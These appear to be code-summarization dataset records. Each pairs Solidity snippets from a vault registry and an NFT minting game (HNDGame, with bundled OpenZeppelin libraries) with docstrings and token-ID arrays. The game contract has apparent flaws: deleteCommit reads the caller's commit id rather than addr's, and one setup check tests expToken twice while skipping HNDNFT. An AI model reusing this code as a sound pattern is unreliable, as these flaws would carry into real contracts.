/// @param _newVault Address of the new vault
/// @param _name String of the name of the new vault
/// @param _symbol String of the symbol of the new vault
/// @param _vaultId Number of the new vault Id
/// @return Bool the transaction executed successfully
function createVault(
address _who,
address _newVault,
string calldata _name,
string calldata _symbol,
uint256 _vaultId)
external
approvedFactoryOnly(msg.sender)
returns(bool success)
{
createVaultInternal(_newVault, msg.sender, _who, _name, _symbol, _vaultId);
return true;
}
/*
* INTERNAL FUNCTIONS
*/
/// @dev Logs a purchase event
/// @param _who Address of the caller
/// @param _targetVault Address of the vault
/// @param _factory Address of the factory
/// @param _value Value of transaction in wei
/// @param _amount Number of new tokens
/// @param _name Hex encoded bytes of the name
/// @param _symbol Hex encoded bytes of the symbol
function buyVaultInternal(
address _targetVault,
address _who,
address _factory,
uint256 _value,
uint256 _amount,
bytes memory _name,
bytes memory _symbol)
internal
{
emit BuyVault(_targetVault, _who, _factory, _value, _amount, _name, _symbol);
}
/// @dev Logs a sale event
/// @param _who Address of the caller
/// @param _targetVault Address of the vault
/// @param _factory Address of the factory
/// @param _amount Number of burnt tokens
/// @param _revenue Value of transaction in wei
/// @param _name Hex encoded bytes of the name
/// @param _symbol Hex encoded bytes of the symbol
function sellVaultInternal(
address _targetVault,
address _who,
address _factory,
uint256 _amount,
uint256 _revenue,
bytes memory _name,
bytes memory _symbol)
internal
{
emit SellVault(_targetVault, _who, _factory, _amount, _revenue, _name, _symbol);
}
/// @dev Logs a new vault creation by factory
/// @param _who Address of the caller
/// @param _newVault Address of the new vault
/// @param _factory Address of the factory
/// @param _name Bytes array of the name
/// @param _symbol Bytes array of the symbol
/// @param _vaultId Number of the pool in registry
function createVaultInternal(
address _newVault,
address _factory,
address _who,
string memory _name,
string memory _symbol,
uint256 _vaultId)
internal
{
emit VaultCreated(_newVault, _factory, _who, _vaultId, _name, _symbol);
}
}
| @dev Logs a Sell Vault event. @param _who Address of who is selling @param _targetVault Address of the target vault @param _amount Number of shares purchased @param _revenue Value of the transaction in Ether @return Bool the transaction executed successfully @notice transform name and symbol in .js with web3.toAscii(bytes32_date) | function sellVault(
address _who,
address _targetVault,
uint256 _amount,
uint256 _revenue,
bytes calldata _name,
bytes calldata _symbol)
external
approvedVaultOnly(msg.sender)
returns(bool success)
{
require(_amount > 0);
sellVaultInternal(_targetVault, _who, msg.sender, _amount, _revenue, _name, _symbol);
return true;
}
| 1,836,016 | [
1,
7777,
279,
348,
1165,
17329,
871,
18,
225,
389,
3350,
83,
5267,
434,
10354,
353,
357,
2456,
225,
389,
3299,
12003,
5267,
434,
326,
1018,
9229,
225,
389,
8949,
3588,
434,
24123,
5405,
343,
8905,
225,
389,
266,
24612,
1445,
434,
326,
2492,
316,
512,
1136,
327,
9166,
326,
2492,
7120,
4985,
225,
2510,
508,
471,
3273,
316,
263,
2924,
598,
3311,
23,
18,
869,
21363,
12,
3890,
1578,
67,
712,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
357,
80,
12003,
12,
203,
3639,
1758,
389,
3350,
83,
16,
203,
3639,
1758,
389,
3299,
12003,
16,
203,
3639,
2254,
5034,
389,
8949,
16,
203,
3639,
2254,
5034,
389,
266,
24612,
16,
203,
3639,
1731,
745,
892,
389,
529,
16,
203,
3639,
1731,
745,
892,
389,
7175,
13,
203,
3639,
3903,
203,
3639,
20412,
12003,
3386,
12,
3576,
18,
15330,
13,
203,
3639,
1135,
12,
6430,
2216,
13,
203,
565,
288,
203,
3639,
2583,
24899,
8949,
405,
374,
1769,
203,
3639,
357,
80,
12003,
3061,
24899,
3299,
12003,
16,
389,
3350,
83,
16,
1234,
18,
15330,
16,
389,
8949,
16,
389,
266,
24612,
16,
389,
529,
16,
389,
7175,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./interfaces/IHNDGame.sol";
import "./interfaces/IKingdom.sol";
import "./interfaces/ITraits.sol";
import "./interfaces/Iexp.sol";
import "./interfaces/IHND.sol";
import "./interfaces/IShop.sol";
contract HNDGame is IHNDGame, Ownable, ReentrancyGuard, Pausable {
event MintCommitted(address indexed owner, uint256 indexed amount);
event MintRevealed(address indexed owner, uint256 indexed amount);
struct MintCommit {
bool stake;
uint16 amount;
}
// Maximum price in EXP of the final game mints
uint256 private maxExpCost = 105000 ether;
// pricing
uint256 public presalePrice = 0.07 ether;
uint256 public publicSalePrice = 0.08 ether;
// address -> commit # -> commits
mapping(address => mapping(uint16 => MintCommit)) private _mintCommits;
// address -> commit num of commit need revealed for account
mapping(address => uint16) private _pendingCommitId;
// commit # -> offchain random
mapping(uint16 => uint256) private _commitRandoms;
// whitelisted address => number of tokens minted during whitelist.
// if address did not mint then they will not be in this list.
mapping(address => uint256) private _whitelistClaims;
// root of the merkle trie constructed from whitelist claimants
bytes32 private whitelistMerkleRoot;
uint16 private _commitBatch = 1;
uint16 private pendingMintAmt;
bool public isPublicSale;
// address => can call addCommitRandom
mapping(address => bool) private admins;
// reference to the Kingdom for choosing random Demon thieves
IKingdom public kingdom;
ITraits public traits;
IEXP public expToken;
IHND public HNDNFT;
address private kingdomAddr;
address private treasury;
// reference to loot
IShop public shop;
constructor() {
_pause();
}
/** CRITICAL TO SETUP */
modifier requireContractsSet() {
require(address(expToken) != address(0) && address(traits) != address(0)
&& address(expToken) != address(0) && address(kingdom) != address(0) && address(shop) != address(0)
, "Contracts not set");
_;
}
modifier requireEOA() {
require(tx.origin == _msgSender(), "Only EOA");
_;
}
function setContracts(address _exp, address _traits, address _HND, address _kingdom, address _shop) external onlyOwner {
expToken = IEXP(_exp);
traits = ITraits(_traits);
HNDNFT = IHND(_HND);
kingdom = IKingdom(_kingdom);
kingdomAddr = _kingdom;
shop = IShop(_shop);
}
function setTreasury(address _treasury) external onlyOwner {
treasury = _treasury;
}
function setWhitelistMerkleRoot(bytes32 root) external onlyOwner {
whitelistMerkleRoot = root;
}
/** EXTERNAL */
function getPendingMint(address addr) external view returns (MintCommit memory) {
require(_pendingCommitId[addr] != 0, "no pending commits");
return _mintCommits[addr][_pendingCommitId[addr]];
}
function hasMintPending(address addr) external view returns (bool) {
return _pendingCommitId[addr] != 0;
}
function canMint(address addr) external view returns (bool) {
return _pendingCommitId[addr] != 0 && _commitRandoms[_pendingCommitId[addr]] > 0;
}
// Seed the current commit id so that pending commits can be revealed
function addCommitRandom(uint256 seed, bytes32 parentBlockHash) external {
require(owner() == _msgSender() || admins[_msgSender()], "Only admins can call this");
if (parentBlockHash != "") {
// we poll to get the previous blockhash and continually submit tx until it's included
// no gas waste as flashbots rpc fails if tx will revert
require(blockhash(block.number - 1) == parentBlockHash, "block was uncled");
}
_commitRandoms[_commitBatch] = seed;
_commitBatch += 1;
}
function deleteCommit(address addr) external {
require(owner() == _msgSender() || admins[_msgSender()], "Only admins can call this");
uint16 commitIdCur = _pendingCommitId[_msgSender()];
require(commitIdCur > 0, "No pending commit");
delete _mintCommits[addr][commitIdCur];
delete _pendingCommitId[addr];
}
function forceRevealCommit(address addr) external {
require(owner() == _msgSender() || admins[_msgSender()], "Only admins can call this");
reveal(addr);
}
/** Initiate the start of a mint during the whitelisted minting period **/
function whitelistMintCommit(uint256 index, uint256 a, uint256 amount, bytes32[] calldata merkleProof, bool stake) external payable whenNotPaused nonReentrant requireEOA {
require(_pendingCommitId[_msgSender()] == 0, "Already have pending mints");
require(_whitelistClaims[_msgSender()] + amount <= 2, "exceeds whitelist mint limit");
// all whitelist mints take place during the presale phase, no need to check for other prices.
require(amount * presalePrice == msg.value, "Invalid payment amount");
// verify merkle proof
bytes32 node = keccak256(abi.encodePacked(index, _msgSender(), a));
require(MerkleProof.verify(merkleProof, whitelistMerkleRoot, node), "Not on Whitelist: Invalid Merkle proof.");
_whitelistClaims[_msgSender()] += amount;
uint16 amt = uint16(amount);
_mintCommits[_msgSender()][_commitBatch] = MintCommit(stake, amt);
_pendingCommitId[_msgSender()] = _commitBatch;
pendingMintAmt += amt;
emit MintCommitted(_msgSender(), amount);
}
/** Initiate the start of a mint. This action burns $EXP, as the intent of committing is that you cannot back out once you've started.
* This will add users into the pending queue, to be revealed after a random seed is generated and assigned to the commit id this
* commit was added to. */
function mintCommit(uint256 amount, bool stake) external payable whenNotPaused nonReentrant requireEOA {
require(isPublicSale == true, "Public Sale not started!");
require(_pendingCommitId[_msgSender()] == 0, "Already have pending mints");
uint16 minted = HNDNFT.minted();
uint256 maxTokens = HNDNFT.getMaxTokens();
uint256 paidTokens = HNDNFT.getPaidTokens();
require(minted + pendingMintAmt + amount <= maxTokens, "All tokens minted");
require(amount <= 10, "HNDGame: Maximum mint amount of 10");
if (minted < paidTokens) {
require(minted + amount <= paidTokens, "HNDGame: Paid tokens sold out");
require(amount * publicSalePrice == msg.value, "HNDGame: Invalid payment amount");
} else {
require(msg.value == 0);
uint256 totalExpCost = 0;
// Loop through the amount of
for (uint i = 1; i <= amount; i++) {
totalExpCost += mintCost(minted + pendingMintAmt + i, maxTokens);
}
if (totalExpCost > 0) {
// burn 30% (and the recycled 35%)
expToken.burn(_msgSender(), totalExpCost * 13 / 20);
// recycle the 35%
kingdom.recycleExp(totalExpCost * 7/20);
// 35% to treasury
expToken.transferFrom(_msgSender(), treasury, totalExpCost * 7 / 20);
expToken.updateOriginAccess();
}
}
uint16 amt = uint16(amount);
_mintCommits[_msgSender()][_commitBatch] = MintCommit(stake, amt);
_pendingCommitId[_msgSender()] = _commitBatch;
pendingMintAmt += amt;
emit MintCommitted(_msgSender(), amount);
}
/** Reveal the commits for this user. This will be when the user gets their NFT, and can only be done when the commit id that
* the user is pending for has been assigned a random seed. */
function mintReveal() external whenNotPaused nonReentrant requireEOA {
reveal(_msgSender());
}
function reveal(address addr) internal {
uint16 commitIdCur = _pendingCommitId[addr];
require(commitIdCur > 0, "No pending commit");
require(_commitRandoms[commitIdCur] > 0, "random seed not set");
uint16 minted = HNDNFT.minted();
MintCommit memory commit = _mintCommits[addr][commitIdCur];
pendingMintAmt -= commit.amount;
uint16[] memory tokenIds = new uint16[](commit.amount);
uint256 seed = _commitRandoms[commitIdCur];
for (uint k = 0; k < commit.amount; k++) {
minted++;
// change seed per mint
seed = uint256(keccak256(abi.encode(seed, addr)));
address recipient = selectRecipient(seed);
tokenIds[k] = minted;
if (!commit.stake || recipient != addr) {
HNDNFT.mint(recipient, seed);
} else {
HNDNFT.mint(address(kingdom), seed);
}
}
HNDNFT.updateOriginAccess(tokenIds);
if(commit.stake) {
kingdom.addManyToKingdom(addr, tokenIds);
}
delete _mintCommits[addr][commitIdCur];
delete _pendingCommitId[addr];
emit MintCommitted(addr, tokenIds.length);
}
/**
* @param tokenId the ID to check the cost of to mint
* @return the cost of the given token ID
*/
function mintCost(uint256 tokenId, uint256 maxTokens) public view returns (uint256) {
if (tokenId <= maxTokens * 2 / 5) return 20000 ether;
if (tokenId <= maxTokens * 3 / 5) return 45000 ether;
if (tokenId <= maxTokens * 4 / 5) return 80000 ether;
if (tokenId <= maxTokens) return 105000 ether;
return maxExpCost;
}
/** INTERNAL */
/**
* the first 20% (ETH purchases) go to the minter
* the remaining 80% have a 10% chance to be given to a random staked demon
* @param seed a random value to select a recipient from
* @return the address of the recipient (either the minter or the Demon thief's owner)
*/
function selectRecipient(uint256 seed) internal returns (address) {
if (HNDNFT.getPaidTokens() < HNDNFT.minted()) {
if (((seed >> 245) % 10) != 0) return _msgSender(); // top 10 bits haven't been used
address thief = kingdom.randomDemonOwner(seed >> 144); // 144 bits reserved for trait selection
if (thief == address(0x0)) return _msgSender();
return thief;
} else {
return _msgSender();
}
}
/** ADMIN */
/**
* enables owner to pause / unpause contract
*/
function setPaused(bool _paused) external requireContractsSet onlyOwner {
if (_paused) _pause();
else _unpause();
}
function startPublicSale(bool _saleStarted) external onlyOwner {
isPublicSale = _saleStarted;
}
function setMaxExpCost(uint256 _amount) external requireContractsSet onlyOwner {
maxExpCost = _amount;
}
/** Allow the contract owner to set the pending mint amount.
* This allows any long-standing pending commits to be overwritten, say for instance if the max supply has been
* reached but there are many stale pending commits, it could be used to free up those spaces if needed/desired by the community.
* This function should not be called lightly, this will have negative consequences on the game. */
function setPendingMintAmt(uint256 pendingAmt) external onlyOwner {
pendingMintAmt = uint16(pendingAmt);
}
/**
* enables an address to mint / burn
* @param addr the address to enable
*/
function addAdmin(address addr) external onlyOwner {
admins[addr] = true;
}
/**
* disables an address from minting / burning
* @param addr the address to disbale
*/
function removeAdmin(address addr) external onlyOwner {
admins[addr] = false;
}
/**
* allows owner to withdraw funds from minting
*/
function withdraw() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
}
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.0;
interface IShop {
function mint(uint256 typeId, uint16 qty, address recipient) external;
function burn(uint256 typeId, uint16 qty, address burnFrom) external;
function updateOriginAccess() external;
function balanceOf(address account, uint256 id) external returns (uint256);
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes memory data) external;
}
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
interface IHND is IERC721Enumerable {
// game data storage
struct HeroDemon {
bool isHero;
bool isFemale;
uint8 body;
uint8 face;
uint8 eyes;
uint8 headpiecehorns;
uint8 gloves;
uint8 armor;
uint8 weapon;
uint8 shield;
uint8 shoes;
uint8 tailflame;
uint8 rankIndex;
}
function minted() external returns (uint16);
function updateOriginAccess(uint16[] memory tokenIds) external;
function mint(address recipient, uint256 seed) external;
function burn(uint256 tokenId) external;
function getMaxTokens() external view returns (uint256);
function getPaidTokens() external view returns (uint256);
function getTokenTraits(uint256 tokenId) external view returns (HeroDemon memory);
function getTokenWriteBlock(uint256 tokenId) external view returns(uint64);
function isHero(uint256 tokenId) external view returns(bool);
}
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.0;
interface IEXP {
function mint(address to, uint256 amount) external;
function burn(address from, uint256 amount) external;
function updateOriginAccess() external;
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.0;
interface ITraits {
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.0;
interface IKingdom {
function addManyToKingdom(address account, uint16[] calldata tokenIds) external;
function randomDemonOwner(uint256 seed) external view returns (address);
function recycleExp(uint256 amount) external;
}
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.0;
interface IHNDGame {
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | whitelisted address => number of tokens minted during whitelist. if address did not mint then they will not be in this list. | mapping(address => uint256) private _whitelistClaims;
| 5,845,916 | [
1,
20409,
329,
1758,
516,
1300,
434,
2430,
312,
474,
329,
4982,
10734,
18,
309,
1758,
5061,
486,
312,
474,
1508,
2898,
903,
486,
506,
316,
333,
666,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
